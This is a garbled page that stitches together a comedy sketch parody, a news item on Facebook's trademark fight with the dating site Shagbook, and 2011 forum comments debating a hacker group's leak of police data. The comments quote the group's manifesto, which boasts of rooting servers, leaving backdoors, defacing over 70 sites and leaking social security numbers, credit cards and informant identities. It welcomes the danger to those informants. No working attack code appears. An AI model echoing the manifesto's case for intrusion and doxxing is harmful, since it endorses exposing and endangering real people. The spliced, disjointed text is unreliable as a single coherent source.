We couldn't afford a school. I had to walk both ways (uphill, in the snow, no shoes) just to tend the loom.

You were lucky. We lived for three months in a paper bag in a septic tank. We used to have to get up at six in the morning, clean the paper bag, eat a crust of stale bread, go to work down t' mill, fourteen hours a day, week-in week-out, for sixpence a week, and when we got home our Dad would thrash us to sleep wi' his belt.
In an eyebrow-raising trademark battle, Facebook filed suit against adult dating site Shagbook in May. Facebook’s contention: that the world’s largest social network would be “damaged by the issuance of a registration for the mark Shagbook.”
Shagbook has now filed its own opposition, along with counterclaims, with the United States Patent and Trademark Office.
As represented by SNRG Ventures, Shagbook, in the filing, “denies the allegation that Facebook is highly distinctive as it is a generic term.” It also challenges the validity of Facebook’s trademark, arguing that it should never have been granted.
@Renegade We are all doomed, that's the conclusion of all scenarios probably-rgdot (August 07, 2011, 01:30 PM)
What I think of there is how much suffering did the dictator/offical cause, and how much would they cause, and how does that compare to the suffering incurred by people caught in the cross-fire.
Yeah... It's sucky. But I just don't see any "perfect" way to deal with things. When you start shooting, innocent people get hit. What realistic option is there? Let the monsters rule?-Renegade (August 07, 2011, 01:16 PM)
Assassinating the guy is less plausible, less costly, less dangerous than throwing thousands of bombs all over? I really doubt that.
(Sorry for going a bit too off topic: In any case countries that suffer the foreign intervention or bombing fate don't automatically recover, see Afghanistan (not just more recently but 80's and on), Iraq, most former colonies)-rgdot (August 07, 2011, 01:21 PM)
But pot? Jeez... Selling weed doesn't make you a bad person. Weed is hardly a serious problem-Renegade (August 07, 2011, 12:30 PM)
LMAO!! I didn't say pot dealers, half my friends smoke it. Come on, R... I think you know what I was getting at.
But just for the record: pot dealers are duly exempted.-nosh (August 07, 2011, 01:13 PM)
Or selfish in regards to bringing people down. It might sound fine exposing a dictator or elected official but show me an example where normal people didn't suffer as much or more in the process.-rgdot (August 07, 2011, 01:10 PM)

You can always say "no." You just have to be willing to deal with the consequences.
But a certain willingness to deal with the consequences of a decision has always been an acid test to determine just how important something really is to a given individual.
And that remains the case whether the answer is 'no' - or 'yes' - for that matter.-40hz (August 07, 2011, 12:47 PM)
I'm far from the first or only that's been saying it for several years now. And none who are, are laughing. My trend projections put the advent of full-bore fascism in the USA sometime between 2024 and 2050.
These guys are Wikileaks on crack. Among the "snitches" they've exposed are people who've turned drug dealers and other dangerous felons in. I don't see how throwing the innocent under the bus can be justified.-nosh (August 07, 2011, 10:14 AM)
) about the topic. Yeah, heroin is pure evil. But pot? Jeez... Selling weed doesn't make you a bad person. Weed is hardly a serious problem. The problem is the US government attitude.You can count me in the group of people that believe our political and economic systems are broken and corrupt, and that trying to work "within" the system is looking more futile than ever.
On the other hand, a good test to me of whether a group is really serious about improving the situation is the care it takes in precisely targeting the sources of corruption and limiting collateral damage.
So without going into specifics, if an organization releases reams of information without regard to hurting good innocent people, I do not look upon that kindly, regardless of where the information came from. I'm much more impressed when an underground activist organization says: There is illegal/immoral activity we need to expose, and we've done our best to redact the irrelevant information that would expose innocent people not involved in illegal/immoral acts.-mouser (August 07, 2011, 10:55 AM)
This is going about it in entirely the wrong way. The only thing it will succeed in doing is to encourage our already secretive governments to become even more secretive. It also plays into the hands of those arguing for increasingly restrictive laws that will ultimately hurt all of us.-40hz (August 07, 2011, 07:18 AM)
Right now, governments are still playing mostly by the rule of law. Those who play outside the rules are naive to think that situation will continue indefinitely if they continue down the road they're on.-40hz (August 07, 2011, 07:18 AM)
All that ended with 9/11 the passage of the Patriot Act and subsequent legislation which has turned the United States into what, for all practical purposes, is now a police state with all real power centered in the Executive Branch. And Legislature and Judiciary be damned if they don't like it.-40hz (August 07, 2011, 07:18 AM)
One more brief rest stop on the way to overt national socialism - except in the USA it will use the Bible for its justification and symbolism.

A week after we defaced and destroyed the websites of over 70 law enforcement
agencies, we are releasing a massive amount of confidential information that is
sure to embarass, discredit and incriminate police officers across the US. Over
10GB of information was leaked including hundreds of private email spools,
password information, address and social security numbers, credit card numbers,
snitch information, training files, and more. We hope that not only will
dropping this info demonstrate the inherently corrupt nature of law enforcement
using their own words, as well as result in possibly humiliation, firings, and
possible charges against several officers, but that it will also disrupt and
sabotage their ability to communicate and terrorize communities.
We have no sympathy for any of the officers or informants who may be endangered
by the release of their personal information. For too long they have been using
and abusing our personal information, spying on us, arresting us, beating us,
and thinking that they can get away with oppressing us in secrecy. Well it's
retribution time: we want them to experience just a taste of the kind of misery
and suffering they inflict upon us on an everyday basis. Let this serve as a
warning to would-be snitches and pigs that your leaders can no longer protect
you: give up and turn on your masters now before it's too late.

It took less than 24 hours to root BJM's server and copy all their data to our
private servers. Soon after, their servers were taken down and a news article
came out suggesting they received advance FBI "credible threat" notice of a
"hacking plot". At this point it was too late for them because the stolen files
were gonna get leaked regardless. However we were surprised and delighted to see
that not only did they relaunch a few sites less than a week later, but that
their "bigger, faster server that offers more security" carried over our
backdoors from their original box. This time we were not going to hesitate to
pull the trigger: in less than an hour we rooted their new server and defaced
all 70+ domains while their root user was still logged in and active.
// THIS TIME WE'RE NOT GONNA HESITATE TO PULL THE TRIGGER.

It's not Internet access the government is afraid of. It's cheap, ubiquitous, unrestricted, unmonitored, and open access that scares them out of their minds.-40hz (July 01, 2011, 09:19 AM)
